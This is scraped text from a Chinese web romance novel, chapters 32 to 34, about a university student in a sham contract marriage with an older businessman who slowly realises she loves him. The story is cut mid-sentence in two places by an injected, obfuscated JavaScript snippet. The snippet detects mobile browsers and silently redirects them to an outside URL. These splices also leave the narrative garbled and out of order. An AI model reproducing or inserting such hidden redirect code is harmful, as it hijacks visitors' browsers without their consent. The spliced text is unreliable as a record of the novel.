木晓晞提着蛋糕,一路无言地和他走到校门口,再穿过小路,回到宿舍楼附近。 越接近宿舍楼,人越多。 “就到这儿吧,我从那边过去。”金笑笙指了指岔道中的一条,“我不送你了,能自己回去吧?” 木晓晞点头。 金笑笙说:“谢谢你今天陪我。” 木晓晞摇摇头:“我不知道今天是你的生日,下次我再……” “他对你很好吗?” “……” “挺好的。”金笑笙自问自答,“那我也放心了,就这样,拜拜。” 然后跟她抬了一下手作为告别,转身干脆地往前走去。 看着他越走越远,脚步越来越快,木晓晞心中那股怪异的感觉越来越强烈,她追了上去。 “学长!” 金笑笙停了下来。 木晓晞跑到他前面去,看着他那张熟悉又陌生的脸,恍然间,好像回到了之前她问徐敬孚的时候。 她问。 “我们以前认识吗?” 而金笑笙是怎么回答的呢? 那是一个找不出差错,却让人感到没有一处是对的的答案。 “认识啊,你大一刚开学不就认识了?你来参加漫画社,我是社长,你是社员。” 徐敬孚等了一整天,直到睡觉前总算等到了她姗姗来迟的回信。 但她回了一句很奇怪的话,她说:【叔叔,你认识我的时候,我有没有什么青梅竹马之类的?】 这是什么话? 青梅竹马? 徐敬孚皱起眉头,刚要回复,对面又发来一条。 【也不对。】 什么也不对。 他脱了衣服,一边往浴室走,一边发了语音过去:“怎么了,出什么事了?” 对面回信:【没什么,叔叔当我没问。】 徐敬孚:“……” 他把手机放到洗漱台旁,看了看镜子里的自己。认识木晓晞的时候是二十二岁,那时候她才五岁左右,是个话才刚说利索的黄毛丫头,她的青梅竹马,那也就是个鼻涕吃一嘴的小屁孩儿,他能记得什么? 他只记得二十二岁的他赚到了人生第一笔大钱,二十六万元,那个年代的二十六万还是很值钱,万元户很少有,而带他入行的木钧却不然,和他差了一大截,加上有一家子要养,确实也只能算混个温饱,木钧对他的敌意大约就是从那个时候开始的。 他看着镜子里的自己,不算老,但也跟年轻沾不上什么边了,至少没人会将他往三十以下去猜测。 要是他和木钧一样早婚早育,有妻有孩的话,可能孩子也要十七八岁了,也就比木晓晞小个两三岁;要是再早一些,像曾经带他的那些师傅一样十七八岁就生孩子,那也足够生出来一个像木晓晞一样年纪的女儿。 我这辈子,永远不会再做任何人的女儿。 “死脑筋。”徐敬孚点评道。 想到木晓晞之前说过的话,他长长地叹了口气,有些无奈。这就是她这几天回个消息都要慢几拍的原因吗?之前可不这样。 就因为他说了那个话,让她把他当爸爸。 说错了吗? 他去打开淋浴,让水哗哗地冲下来。他站到水下,任水流过自己的头顶,面颊,他将头发全部捋到脑后,淋了一会儿,感到有些烦躁。 早知道就不该领那个证。他是怎么想的? 想到最近木晓晞突然变得敷衍疏远的态度,他心中就憋了口气。要不是她非要死脑筋,坏了脑子一样要去选错选项,怎么会发展成这种情况?真是蠢得要命。 他也是。也是脑子坏了,就任她想干什么就干什么。 明明知道她说过那种话,明明也很清楚木钧对她伤害很大,留下了心理阴影,他还那么说,根本就是在人家伤口上撒盐。一个爹都够倒胃口了,再来一个?还是个没血缘关系的。 给他他也要倒胃口。 “呼。”他再出一口气,忽然抬手将水关上。 可是如果不这样,那还能怎么办?养个没有身份的大学生在家里?还是仇人的女儿。 不要说木晓晞觉得没身份待不下去,他自己也会觉得可笑。徐休也不会让他这样做。 “呼……” 难道现在要去跟木晓晞说,当他没说那个话?也有些矫情。 木晓晞的态度很清楚了,就是不想再近了,报恩归报恩,契约归契约,做女儿就没必要。就这个意思。 从随时秒回信息到一整天都不回,他也不是傻子,不至于连这个都看不懂。不说破,两个人还能坐下来说几句,吃个饭,像父女一样相处,说破了,反而都不行了。 也正常,怎么行呢?他们中间毕竟有一本荒谬至极的结婚证。就算是假的,在外人眼里,在于珍眼里,他们就是夫妻。 合情合法合理的夫妻。 这个消息以后只会随着时间,被越来越多的人知晓,他们的这个假关系,也迟早有一天会走到光天化日之下,被人围观。 至少在徐家这个范围内,是会有这么一天的。 这几天来了不少聚会邀请,很多都是徐家内部的,明里暗里地要求带上另一半,没有另一半的,带女伴男伴。 曾经的他走哪里都是独来独往,大家都知道他的脾气,所以从没有人跟他叮嘱过这一项,但最近却会让人刻意跟他传达这一条提醒了。 这说明,他结婚的事已经有人知道了,大家只是在等他公布。 一堆烂账。 徐敬孚拿了浴巾随便擦了擦身体,拿了手机给木晓晞发:【明天陈遇要去你学校附近办事,顺便给你捎个东西过去,记得到时候拿一下。】 木晓晞还是没秒回,而是等他吹好头发穿好衣服,才回信:【什么东西?】 他回:【收到就知道了。】 想了下,然后又发:【这周末有空?】 木晓晞在那头删删改改,还是半天,发来一句话:【不确定,这周有点忙,有什么事吗叔叔?】 忙?一个大三学生,周末能忙什么? 他带着些火气,想直接给她打电话,一看时间已经接近十一点,便又作罢。 徐敬孚:【有事,妈和徐董这几天从度假酒店搬回去了,他们想邀请你去徐家宅院里住两天。】 木晓晞刚打了一串借口想说自己有点忙,不一定能回去,结果就看到了这么一句话。 带上了于珍和徐休,拒绝的话就说不出口了。 她谨慎地措辞,一个字一个字地编辑:好的,那周末我把事情推一推,到时候…… 正编辑着,徐敬孚发来消息了。 五个字,但是足以让她僵住。 【你在回避我?】 直白得令她有些难堪。 32.第 32 章 (三十二) 陈遇第二天早上十点半就来送东西了,提前跟木晓晞打了招呼,准点就等在了她的宿舍楼下。 木晓晞下来时看到他穿着一身和平时不同的休闲服,身着浅色的淡紫色花衬衫和休闲短裤,头发不仅没有抹发油,还有点乱糟糟的,眼睛上架着一副造型别样的粗边黑框眼镜,手里则提着一个超大的袋子,里头放着两个大盒子。 大老远的就看见他一个哈欠连一个哈欠,站得歪歪扭扭。 乍一看,还以为是金笑笙二号来了,都有些不敢认。 “陈……陈秘书?”木晓晞歪着头把人看了又看,叫了一声。 陈遇扭过头,瞧见是她,立马站得直了一些:“木小姐。” 木晓晞有些错乱。 还真是陈秘书。 陈遇见她神情有些震惊,一直盯着他的骚包紫衬衫和凉拖看,叹了口气解释道:“本来今天要休假的,打算和兄弟包夜打游戏,结果昨晚十一二点还被通知今天要加班,我人都在网吧了,就干脆打了个通宵,前面取了东西后就这么直接过来了……不好意思,让你见笑了。” 说着,将手里的东西一伸:“喏。” 木晓晞连忙拿着:“这是什么?” “一个电脑,还有一个手绘板。”陈遇遮着嘴打了一个不大不小的哈欠,说道,“老板的心意和回礼。” 他说着,稍一点头就准备离开。 忽然又想起了什么,折回来:“对了。” “嗯?” “我前面停车的时候,遇到了正在跑步的金翻译,他认出我了,就停下来打了个招呼,说了两句。”陈遇顿了顿,道,“我跟他说了是来找你给你送点东西,但是他好像误会了什么。” 木晓晞昨天一夜也没怎么睡好,人还有点懵:“他误会什么了?” 陈遇想了下金笑笙那个神情,还有那句令人遐想连篇的话。 “他说我还挺低调的。” “……” “然后又说了一句,说……学校的确不适合开豪车进。” 金笑笙大概以为,陈遇就是她的那个开豪车住别墅的有钱男朋友。 也不知道该庆幸还是该头疼。 庆幸是他误会的对象是陈遇,一个更合理的更像男朋友的对象,以及,陈遇没有当场否认这件事。据说是因为没来得及。 头疼的是,陈遇大概会把这件事告诉徐敬孚。 自从昨晚徐敬孚回了她那条【你在回避我?】之后,她就没敢再点开微信,完全不敢去看上面的新消息通知到底是来自哪里,广告还是同学,完全将所有的信息都屏蔽掉了。 也是通过这条信息,她突然意识到她和徐敬孚真的很不一样。如果是她,恐怕这辈子都问不出这么一句话。 她看着桌上的新电脑和绘板,说不出心情是怎么样的。 这段时间,她其实已经很尽力地去忘掉有些事了,说不上成功,但也不算失败,至少现在看到这些东西她不会去幻想徐敬孚这样做有可能是出于什么其他的理由。 除了报恩和“养父对养女的拳拳爱心”以外的理由。 她摸了摸电脑和绘板,发了一会儿呆,然后将东西一样一样地放回了原包装,在衣柜里腾出地方,将两个盒子郑重地放进了衣柜里去。 这些东西,也许有一天还要还回去。她想。 关衣柜门时,关不上。她检查了一下,是被东西卡住了,她拨开衣服看了看,是一个手提袋。 是木钧给徐敬孚的“土特产”。 “把东西拿回来给我,我有用。”徐敬孚之前还说过。 好久没有想到木钧,忽然看到这个东西,不愉快的回忆似乎一下子涌进了脑海里。她下意识把东西往里一推,就想把衣柜门关上,但不知怎么,她的手上却使不上劲。 最终,她把那个手提袋拿了出来,将里头包装得很好的“土特产”也拿了出来。 鬼使神差地,她将包装打开了。 看到了一本相册。 一本她自己亲手做的相册。 木晓晞看看衣柜里面的大盒子,又看看这个“土特产”,她不禁笑了。她对父亲这个角色的想象力,到底还是不够充足。 没有眼泪,没有愤怒,只有平静和好笑。 她没有去翻看这本曾经对她来说无比重要的宝贝相册,而是默默将东西装了起来,重新包好,放进衣柜。 她告诉自己:过去的事都过去了,不开心的事就不要再想起来。 忘了算了。 徐敬孚那条短信,她还是没有回复,只说了自己收到东西的事。 而徐敬孚,那之后,也连着几天再也没有和她发消息,反倒是陈遇,偶尔会问问她东西用不用得习惯,有没有什么需要帮忙的地方。 周五下午没有课,司机很早就来接她了,午觉还是在车上睡的。 “徐总还在忙,你在我这儿稍微待会儿。”陈遇邀请她在自己的小办公室坐下,让他的小助理去给她倒了水过来,“有点晕车吗?” “嗯?” “你好像脸色不太好。” 木晓晞愣了愣,之后勉强笑了下:“可能最近没太睡好。” 正说着,助理推门进来,低声道:“徐总那边结束了,说让木小姐现在过去。” 陈遇点点头,然后转头过来用眼神询问她。 木晓晞低下头,不自觉地抓着裙摆:“……” 陈遇弯下腰在她耳边小声说:“徐总最近在戒烟,心情可能有点不太好,你把这包口香糖拿去,万一他不高兴,你就给他几颗。” 说着递给她一盒薄荷味的口香糖。 两人一起来到徐敬孚的办公室门口,陈遇敲了敲门,里头应了一声后他把门打开,示意木晓晞进去。木晓晞感觉肚子都有些不舒服了,心跳乱得手都有些发抖。 一时间,她好像回到了第一次来到这个办公室的时候,仿佛一推门就能看到一个冷着脸翘着二郎腿坐在老板椅上抽烟的男人,冷冷的目光,好似洞穿一切的打量。 高高在上,傲慢冷酷,轻蔑嘲讽。 好像下一秒就会有一记凌冽的耳光重重甩过来。 “呼……呼……” 她深吸了好几口气,拧着眉紧闭着眼摇了下头,试图将突然闪现的画面回忆甩出突突疼痛的大脑。 注意到她的不对劲,陈遇叫了两声:“木小姐?木小姐?” 门突然从里面打开来,一个高大的男人出现在门口,他穿着一双干净优雅的皮鞋,一条褶皱干净的西裤。木晓晞听到熟悉的声音:“怎么了?” 他身上的烟味的确淡了很多,可男性的气息还是如此地浓烈,伴随着碎片化不受控涌出的记忆片段,让木晓晞的眩晕感更加明显。 徐敬孚看木晓晞似乎要晕倒,他连忙将她搂住:“没事吧?怎么了?陈遇,你去把医生叫来,快……” “叔叔!”木晓晞抓住他,靠在他的胸口,“我没事。” 哪里像没事? 像是犯了什么病一样。 “你有哮喘?”他再次叫陈遇,“快去叫医生。” 陈遇连忙应声出门去。 徐敬孚将她手里的袋子随手丢到一边,半搂着她进屋关了门,见她喘得很急浑身僵硬几乎走不了路,便一下将她的腿搂起,将人公主抱到了沙发上放下。女孩儿靠在沙发上,胸口快速地起伏着,呼吸又急又重,脸色也有些发白。 “怎么回事?晓晓,晓晓……晓晓?” 木晓晞又喘了两次大气后,稍微好了一些:“没事叔叔,我没有事,不用……不用叫医生。” “你生什么病了?是哮喘吗?” “不是。”她说,“我有点紧张,我紧张的时候就会这样,等我……等我缓一会儿就好了,不要叫医生。” 徐敬孚蹲在她面前,伸手擦掉她鼻子上的汗。 “还是叫医生来看看。”他没见过这种情况,一时不知该怎么弄,起来给陈遇打电话打算再催一下,结果木晓晞再一次抓住了他。 “真的没有事!”她带着哭腔,“不要叫医生!叔叔!求你!” 徐敬孚:“……” 陈遇接了电话:“徐总我们马上到了,在等电梯。” 木晓晞紧紧抓着他的手,站起来冲他摇头,央求他:“不要。” 徐敬孚对电话那头说:“你们先不过来,等我通知。” 说着挂了电话,将木晓晞按在沙发上,抬起她大汗淋漓的脸仔细端详:“听我的指令,深呼吸。” 木晓晞深吸一口气。 “慢慢吐气。” 她慢慢吐出来。 “再吸气,气下去,深一点。” 就这样做了几十个来回后,木晓晞的气息总算均匀平静了下来,整个人身上的肌肉也放松了许多。见她总算好了一些,徐敬孚才低声问她:“这是怎么回事?” 木晓晞不知道该怎么说,只道:“从高中时就容易这样,如果比较紧张的话,就会头疼,喘不上气,有点动不了……不过每次隔一会儿就好了。” “你紧张什么?” “……” “你怕我?” 木晓晞的头埋得更低,僵硬地摇头。 徐敬孚再次将她的下巴抬起来:“我说过,要和我说实话,我再问你一次,你紧张是不是因为我?木晓晞,看着我。” 木晓晞的眼珠子动了动,慢慢地抬了起来,几乎是和他对视的一瞬间,就红了眼。 徐敬孚问她:“怕我什么?” 木晓晞摇头,下意识又要低头,只是这一次她的下巴还在别人的手里。 “怕我骂你?” “……” “说话。” “对。”木晓晞看着他,这样说。 徐敬孚松开手,坐到她前面的茶几上:“我为什么要骂你?” “因为我不回你的消息。” “不回消息就要挨骂吗?木钧以前是这样对你的?” “嗯。” “除了挨骂,还怕什么?” 木晓晞一下子眼睛变得更红。 “他会叫你滚出家门吗?”徐敬孚仔细地看着她的神情变化,只见她听到这句话后下意识地闭上了眼,手也一下捏紧了。 他突然想到当年在那座桥上,她七岁时,在凌晨五点和他相遇,她说她是出门“上学”。他送她去了学校,在学校门口等了两个小时,才等来开门的人。 “他会打你吗?” 木晓晞摇头:“长大以后很少。” 徐敬孚沉默了好一会儿,给她倒了杯水叫她喝了,然后将杯子放下:“木晓晞,那天的话你就当我没有说,我知道你这段时间躲着我是因为那个话……我没有一定要认你做女儿的意思,如果不愿意的话,你可以直接拒绝我。” 他以为是这个原因吗? 木晓晞抬起头,看着男人的脸。他很认真,也很严肃。 “我知道你因为木钧的事有心理阴影,我不强迫你。”沉重的气息从他的鼻腔缓缓呼出,有点拿她没有办法,“你觉得以什么样的关系相处舒服,就保持什么样的关系,好吗?” 木晓晞呆呆地看着他,心中本来已经平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340307|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息的火苗,又开始死灰复燃。 心脏跳得一下比一下重。 徐敬孚从桌上抽了纸巾,给她擦脸,就像给小时候的她擦鼻涕一样自然。在木晓晞进门之前,他是有些憋着的闷火的,也想过要给她立立规矩讲讲规则,但是真等见了人,心里那些所谓的盘算就什么也不剩了,只剩下使不上劲的无奈。 什么都好,都行,别哭就行了。 “这么呆,怎么考上大学的?”他捏了一下她呆呆的脸,“好了,没人要骂你,也没人要赶你走,也不会有人强迫你做你不喜欢的事,开心点。” 木晓晞还是愣愣地,直直地看着他,像出神了一样。 而徐敬孚突然被这么一个平时经常眼神到处流浪,很少与他直接对视的惯性回避者如此直勾勾的,不加掩饰地,毫不回避地,甚至有一点中邪了似的深深地注视着,他也感到心里有些怪异。 他想,任何一个正常人在这种情况下都会感到怪异。 徐敬孚:“……” 他垂下眼喝水,然后给陈遇打了个电话叫他们不用上来了。 挂了电话抬起眼,女孩儿还是在看他。他吸了口气,也坐直了跟她对视。 然后,他发现她的眼睫毛很长,天然地翘着,她的眼角微红,鼻尖有些湿漉漉的细汗,她的眉毛细细长长,眉尾有些散淡,右侧脸靠近耳朵边的位置有一颗小小的痣。她的耳洞里有一根塑料小棒,并没有戴任何他买给她的首饰。 她的脖子很长,泛着淡淡的粉色……耳朵也是。 眼睛……也是。 不知在什么时候,她垂下了眼。肉眼可见地,整个人变得红了,耳垂如滴血一般。 徐敬孚的眉头微微颤了一下,有什么在他脑中一闪而过。 视线下移,他看到女孩儿的手捏得紧紧的,细细白白的手指好像在使劲握着什么容易逃窜的东西。他张了下嘴,视线再次来到这个刚刚满了二十岁的女孩儿脸上。 心里那种怪异的感觉越来越强,越来越浓。 很多片段开始出现在他的眼前,许多细节开始串联起来,最近的一些理不清的事也逐渐地被统一成了一条线。 一条无比荒谬的,但是好像也可以说得通的线。 沉默从一开始的紧张,对峙,到好奇,无奈,再到现在……好像一伸脚,就要踏进一条汹涌湍急奔腾咆哮的河流中。 他有生以来第一次将自己的观察力和推理能力认为是一种诅咒。 他慢慢闭上眼,轻轻地在嘴边出气,不希望自己的反应会惊到对面回过神后已经窘迫到要钻进地里的女孩儿。 他站起身来,装作什么事也没发生的样子,问她:“好点了吗?” “……嗯,好多了,谢谢叔叔。”木晓晞连忙回答,这一次迅速了许多。 他点点头,又给她倒杯水:“给你的东西用得惯吗?” 木晓晞一味点头不看他,但是也是立马说话了,不像之前半天憋不出一句:“用得惯,谢谢叔叔,我很喜欢。” 其实根本没用过。 “一会儿我还要去开个会,你自己一个人在办公室待会儿,屋里有书,也有备用电脑,你看你是要上网还是要看书,随你,等我忙完一起去徐家宅院,晚上可能……” 说到这他停顿了一下,去办公桌前坐下拉开抽屉,装作在里面找什么东西,不再看木晓晞那张通红到让人无法忽略这种异常的脸。 “大概率是要在那边住下,东西那边应该是什么都有,知道你今天要去,妈早就叫人准备好了,所以下午我们就直接过去,不拿什么了,可以吧?”他看到抽屉里那个戒指盒,沉默了两秒,忽然荒谬地扯了下嘴角。怎么会这样。 “可以,我拿了自己的日用品,放在司机车里的。”木晓晞说。 “……”他点点头,把戒指拿出来,“有一家亲戚最近住在那边,三个小孩,一个大人,是妈那边的侄女和侄孙,妈从酒店回来后,他们就搬过来和妈一起住一段时间,陪陪她,晚上吃饭也许要遇上,侄女婿你虽然没见过,但是应该知道,就是度假酒店的总负责人,叫王行,严格意义上来说,他算我的表妹夫,我妈的侄女也就是我的表妹,叫于昕澜,人还不错,年纪也不大,也就比你大十岁左右,性格也还可以,你可以试着接触接触。” 接触? “他们是关系比较近的人,知道你的事。”徐敬孚说完,觉得有歧义,补充道,“知道你是我妻子的事,也知道你年纪还小,没毕业,知道我们在妈面前把你年纪说大了五岁的事,除此之外的其他,他们不知道。” 听到这一串,木晓晞脸上的红晕慢慢下去了。 要见……要见徐叔叔的其他家人? “不用担心。”见她回过神了,徐敬孚勉强笑了笑,“你这个年纪,在这个圈子里,不算奇怪,他们顶多认为是我蒙骗了你。” 木晓晞连忙摇头:“不是……” 徐敬孚不打算和她继续说下去,他抬手看看表:“时间差不多了,五点半的时候你直接到楼下车里去等我,我到时候直接下去。” 之后,他便起身出了门。 关上门后,他的胸膛忽然高高地隆起,再慢慢降下来。 怎么会这样? 他不自觉地搓了搓手指,上面似乎还存留着女孩儿脸上的温度和湿润,闭上眼,脑海中就是一双湿润专注楚楚可怜的眼睛。 胸口处有些说不清的感觉。 所以,木晓晞最近躲着他,不是因为“父女”这两个字,而是因为…… 木晓晞喜欢他。 呵。 荒唐。 34.第 34 章 (三十四) 木晓晞和张欣住的是两个床的标间,所以木晓晞又另外开了一间单独的房间给徐敬孚住,而且特地跟前台说了一声,开了一间最贵最好的。 徐敬孚说不用,就是坐一会儿。木晓晞没管他,还是叫前台给开了。 “太浪费了。”徐敬孚评价她,“就坐一会儿,一会儿就走。” 木晓晞头也不抬:“我实习会赚钱,我的钱,我想怎么花就怎么花。” 徐敬孚:“……” 说着把徐敬孚和小孩儿带到房间里去,一路上一句话都没有。带路,进电梯,出电梯,开门,关门,倒矿泉水烧水。 直到水烧好,给徐敬孚倒好,再去拿了毛巾给小孩儿把脏兮兮的脸和手都洗了擦了,她也还是没有一句话。 徐敬孚看着她在房间里忙来忙去,安顿好他们两个,又给张欣打电话:“嗯,我和叔叔在酒店里,没在我们的屋,我另外开了一间,嗯……嗯……没事,你跟学长说没事,就是我暂时可能过不去了,我这边……” 她扭头过去,刚好与徐敬孚探寻的目光短短一触,她很快移开,摸了下正在玩前台送的积木的小男孩儿:“我们捡到一个小男孩儿,一会儿可能还要去跟警察做个笔录,嗯……嗯……你们也注意一下,看看古城里有没有人找孩子,大概六七岁,穿红黄色的衣服,叫……我不知道名字,我问问,问到了给你发信息。” “他是聋哑人。”徐敬孚说。 “……” 徐敬孚见她不信,走过去试给她看。小孩儿背对着他们坐在书桌边,徐敬孚走到他后面,在他耳朵后侧拍了几下巴掌,两侧都试了,一点反应都没有。 然后把手伸到男孩儿面前,拿走他手上的玩具,吸引了他的注意力。 男孩儿被拿走玩具一下有点急,“啊啊”地叫起来。严格来讲也不是不能发出声音,而是因为聋不会说。 徐敬孚对着他做了几个手势,男孩儿一下就安静了下来。 “我告诉他,不要叫,我就给他玩具。”徐敬孚摸了下他的头,然后把东西给了他,“会手语,穿得也不错,有点内向,但是还是能交流,还不到自闭的程度,说明教他的人还是下了功夫的,会有人来找的,警察来了交给警察就可以了,至于什么名字……” 他又拍拍男孩儿,手上舞了几下,之后递给他一支笔和本子。 男孩儿看看他,又看看木晓晞,小心翼翼地在本子上写下了自己的名字:席望。 席望。 希望。 徐敬孚夸道:“是个好名字。” 他跟男孩儿打手语:“谁起的?” 席望嘴巴动了动,勉强地发出了音:“爸爸妈妈。” 徐敬孚对他继续“说”:“知道你爸爸妈妈的手机号吗?” 男孩儿有点迷茫。 徐敬孚又“问”:“你知道你家里人的电话吗?谁带你来的古城?” 男孩儿低下头,有点难过的样子,使劲眨了眨眼,埋头继续玩玩具,不再回应徐敬孚的问题。 徐敬孚抬眼,木晓晞问他:“说了什么?” “什么也没说,他不想说。”徐敬孚坐回沙发,“你呢?” 木晓晞:“什么?” 徐敬孚喝了口她泡的茶,问:“你愿意说话了?” 木晓晞:“……” 徐敬孚:“气性还挺大。” 木晓晞僵了一会儿,闷闷地说:“谁让您不去医院,明明都受伤了。” “你上回不也不去吗?”徐敬孚反问,“怎么,你可以,我不可以?” “……” “吵不过就不说话了?”徐敬孚笑话她,“音量小,也不妨碍吵架吧?我听得见。” 木晓晞深吸一口气,提高声音:“不想跟您吵,不去医院是您自己的事,我管不着!” 她也不知道自己在气什么,反正就是不高兴。她也觉得自己管得宽,徐叔叔的事用她管吗?用不着,徐叔叔一个总经理,身边不知道有多少人,用她管? 她是谁啊?一个曾经认识的小孩儿,仇人家的侄女儿,花钱买来的……契约假妻子。 她能说什么?说自己担心吗?好像也没有什么立场。 吵架?她没想过要吵架,这也不算吵架。她只是……只是……她也有些茫然,是什么?前面接到电话听到徐叔叔车祸时,她的大脑“嗡”得一声,空白一片,她什么也来不及想,只想快一点,再快一点跑过来。 跑过来……看看他。 想到这里,连木晓晞自己也感觉到有点不对了。明明陈遇说了,没什么大事,她…… 徐敬孚并不和她争辩,只是靠在沙发上眯着眼脸上微微带着笑看着她,看着看着……眼睛越眯越小,困意越来越浓,身体也越来越沉重。 他知道自己要睡了,也知道木晓晞正在看着他,他能想象出那双眼睛如何担忧地望着他,如何柔软地包围他,她好像能钻进他的心里感受到他内心的寒冷,也能明白他此刻的疲惫。 他知道,她不会打扰他,也知道她会一直陪着他。就像她小的时候说的那样,如果夜路太黑,就把她提在手里,这样就不会怕黑了。 这是一个只有小孩儿才会做的比喻。怎么提?一个会发光的木晓晞? 想到都好笑。 …… 算了。 徐敬孚想,什么都没有也没关系,什么也都不要了。他深深地沉沉地闭上眼睛,任由自己陷入瘫痪的睡眠之中。 就这样吧。 小男孩儿看到徐敬孚睡了,抬头看向木晓晞,木晓晞跟他比了一个“嘘”,男孩儿眨眨眼,大大地无声地笑了。 对了,他是个聋哑孩子,不能说话。 木晓晞拿手机给小男孩儿拍了个照片,然后发给了张欣他们。 【就是这个孩子。】 【刚刚赵学长去看了一眼车祸现场,交警和警察都到了,要不要把孩子带出来,我陪你去找警察?】 木晓晞看了眼旁边的孩子,想问他,结果发现自己并不会手语。于是她拿笔写:【姐姐陪你去找爸爸妈妈?】 小男孩儿看完,摇头。 【去找警察叔叔?】 小男孩儿还是摇头,转过头继续玩积木,之后不管她写什么,都是摇头。 木晓晞有些无奈,不知道该怎么办,跟张欣说了这个情况。 然后金笑笙打电话过来了,她跑去洗手间里关上门,小声说:“学长?” “那孩子带不出门?” “对,是个聋哑孩子,听不见也不会说,但认识一些字,我给他说了带他去找爸爸妈妈,还有警察,但是他都摇头说不去,我不知道还有什么办法……” “你怎么这么小声?他不是听不见吗?”金笑笙他们已经到了乐行,路易斯等人正在挑架子鼓。 木晓晞想到在外面睡着的徐敬孚,抿了下嘴,没回这个问题。 路易斯问他情况怎么样,金笑笙转述了一下木晓晞的话。 路易斯听完,漫不经心地拿起鼓棒随手敲了一串儿:“问问那小孩儿,要不要来打架子鼓?” “聋哑小孩,怎么打?”张欣问。 “聋哑人怎么不能打了?”路易斯指了指自己一边的耳朵。 皮埃尔拍了下路易斯的肩膀,吊儿郎当地:“不要歧视残疾人的能力,比如这一位高贵的路易斯王子,虽然也聋,但是鼓打得还是不错。” 朱尔斯道:“人家只是聋一边。” “也全聋过,只是治好了好吧?”路易斯不满道,“我就算是全聋,这架子鼓照样能打出花来!好的鼓手从不会因为这些外置条件而受限制!” “要我说,别管这闲事,等警察来,咱们一会儿还要去小酒馆里喝两杯呢,别……”朱尔斯正说着,就见路易斯不耐烦地下了架子鼓,过去将金笑笙的手机拿过来,说了一串法语。 木晓晞听懂了,于是去写了一张纸条给小男孩。 小男孩看了,愣住了。 手机那头有人拍了一小段视频过来,是路易斯打鼓的视频。视频中的路易斯黑发蓝眸潇洒地转着鼓吹,全身律动着甩着头发,露出自信到有些狂妄的笑容,挑衅一般地看着镜头这边,挥舞着手臂。 虽然因为怕吵到徐敬孚,没有开视频声音,但是光是路易斯手腕上那如游龙行走如挽剑花的利落动作,通过他全身包括头颅的震颤和摆动,似乎也能听到那头富有节奏感的音乐。 木晓晞给小男孩看了视频,再一次问他:“要不要去玩玩看?” 小男孩看直了眼,同意了。 赵玉石和张欣过来接的孩子,她在大厅把孩子交给他们,嘱咐他们一会儿如果孩子家长找来了或者警察把孩子带走了,一定要再联系一下她。 “你呢?” “我……” 张欣看她面上还有为难,问:“你……你男朋友受伤了吗?严重吗?” 木晓晞摇头:“还好,他睡着了,我等他醒了……他要是没事的话,我就过去找你们,不好意思给你们添麻烦了。” “不急,你先忙你的,今天本来也不忙。”赵玉石说,“那我们把孩子带到琴行去玩一会儿,你一会儿闲了也可以带男朋友一起过来。” 只可惜,孩子紧紧抓住木晓晞的衣服不撒手。 木晓晞蹲下来,拿手机给他打字:【一会儿姐姐就去找你,好不好?你先和这两个姐姐哥哥一起去玩架子鼓。】 孩子还是死死不撒手,掰开赵玉石的手一下跑过来抱住她的腿。 这时,陈遇进了大厅,看样子正要找她,一抬头看见了他们几人,紧锁的眉头一下松开了:“木……” 他也看到周围有其他人。 木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366353|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓晞连忙冲他眨了眨眼,微微摇摇头。 陈遇非常会看脸色,虽然不明白她这是什么意思,但还是很自觉地改了口:“晓晞……”他看了眼小孩,“孩子爸妈找到了吗?” “还没有,我准备让我同学先带孩子去乐行玩一会儿,等警察找来再交给警察。” “那……”陈遇想问徐敬孚,但又见她的同学都在,便没开这个口,继而向赵玉石和张欣招呼了声,“你们好,晓晞的同学是吗,幸会。” 说着跟两人分别握了手。 张欣有些好奇,她没见过陈遇,不知他是谁。 赵玉石则好像是误会了什么:“你好,你是晓晞的男朋友?听说你出了车祸,手还好吗?” 他看到了陈遇手上的伤。 陈遇垂眼看了下刚在景区里找了诊所随便处理了一下包了一圈纱布的手,又看了眼木晓晞,见她没有主动地否认,他也心底了然。确实徐敬孚的身份并不好被外人所知,于是便配合地感谢了一句:“谢谢关心,还好。” 张欣一下睁大眼。 木晓晞拉了一下她的衣摆。 “那我先回房间,房间号是……”他问木晓晞。 木晓晞立马把卡给他,叮嘱他:“你手有伤,开门时轻一点。” 金笑笙纠结一阵,最终还是跑到了酒店来,刚推开门,就听到了这对话,看到了木晓晞等人以及……陈遇。他的心一下沉到了谷底。 “你受伤了?还好吗?”金笑笙只是沉了一瞬,很快就捡起笑容来,走过去熟络而关切地问,“好久不见陈秘书,听晓晞说你出了点车祸,我们都很担心,严重吗?” 张欣和赵玉石在旁边左看右看,两人都有点混乱。 陈遇笑着说:“还好,问题不大,谢谢金翻译的关心,晓晞……因为我们这边的事有点耽误她的工作了,实在不好意思,今天晚上的话,恐怕她也……” “不用。”一个声音从电梯的方向传过来。 木晓晞骤然回头,是不知什么时候醒了的徐敬孚。 徐敬孚走过来冲几人点了下头算是招呼,然后跟木晓晞说:“你去忙吧,陈遇来了你就不用管我这里了,不要耽误工作。” 他看了眼小孩儿,小孩儿见他来了,便冲过去将他的大腿抱住,然后给他比手语。 “打鼓?跟谁?”徐敬孚看向木晓晞。 “我同学说要带他去乐行玩,边玩边等。”木晓晞连忙解释,“我们接待的这个乐团里的鼓手也是这样的,耳朵……” “一侧中度耳聋,一侧经过矫正治疗现在已经比较正常了。”金笑笙提起手来伸到徐敬孚面前,“叔叔好,好久不见,您也在陈秘书车上吗?我看您也受伤了,还好吗?” 